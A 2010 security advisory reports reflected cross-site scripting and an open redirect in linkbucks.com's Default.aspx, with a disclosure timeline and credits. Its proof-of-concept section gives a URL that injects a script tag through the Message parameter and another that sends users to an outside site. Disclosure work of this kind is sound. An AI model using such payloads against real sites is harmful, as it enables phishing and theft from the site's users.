Wednesday, August 18, 2010

linkbucks.com XSS & URL Redirection Vulnerabilities


1. OVERVIEW

A famous link-based advertising network, linkbucks.com, is currently vulnerable to 
Cross Site Scripting and URL Redirection vulnerabilities


2. SITE SERVICE DESCRIPTION

Linkbucks is the first Internet advertising network to recognize that the interplay 
between websites and web users is the foundation of a successful viral campaign. 
Linkbucks brings web users, websites, and marketers together in a way that is beneficial to everyone.


3. VULNERABILITY DESCRIPTION

The Default.aspx page at linkbucks.com is vulnerable to Cross Site Scripting vulnerability 
as the Message and ReturnURL parameters are not properly sanitized after a user's logging out. 


4. PROOF-OF-CONCEPT/EXPLOIT

+ Cross Site Scripting (OWASP 2010 Top 10 - A2)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message="><script>alert(/XSS/)</script>&ReturnURL=/Default.aspx&NoText=true

http://yehg.net/lab/pr0js/advisories/sites/linkbucks.com/xss/linkbucks.com_xss.jpg

+ Unvalidated Redirects and Forwards (OWASP 2010 Top 10 - A10)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message=You%20have%20been%20logged%20out.&ReturnURL=http://www.yehg.net&NoText=true


5. IMPACT

As the linkbucks has hundreds of web users, ad publishers and advertisers, 
attackers can exploit these flaws for fun and profit.


6. VENDOR

LinkBucks.com
-http://linkbucks.com


7. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


8. DISCLOSURE TIME-LINE

07-10-2010: vulnerability discovered
07-13-2010: got contact from linksbuck support team via support ticket "#KHT-97974-227"
07-15-2010: provided vulnerabilities
08-15-2010: vulnerabilities have not been fixed
08-18-2010: vulnerability disclosed


9. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/view.php/[linkbucks.com]_xss,redirect
OWASP Top 10 - http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

#yehg [08-18-2010]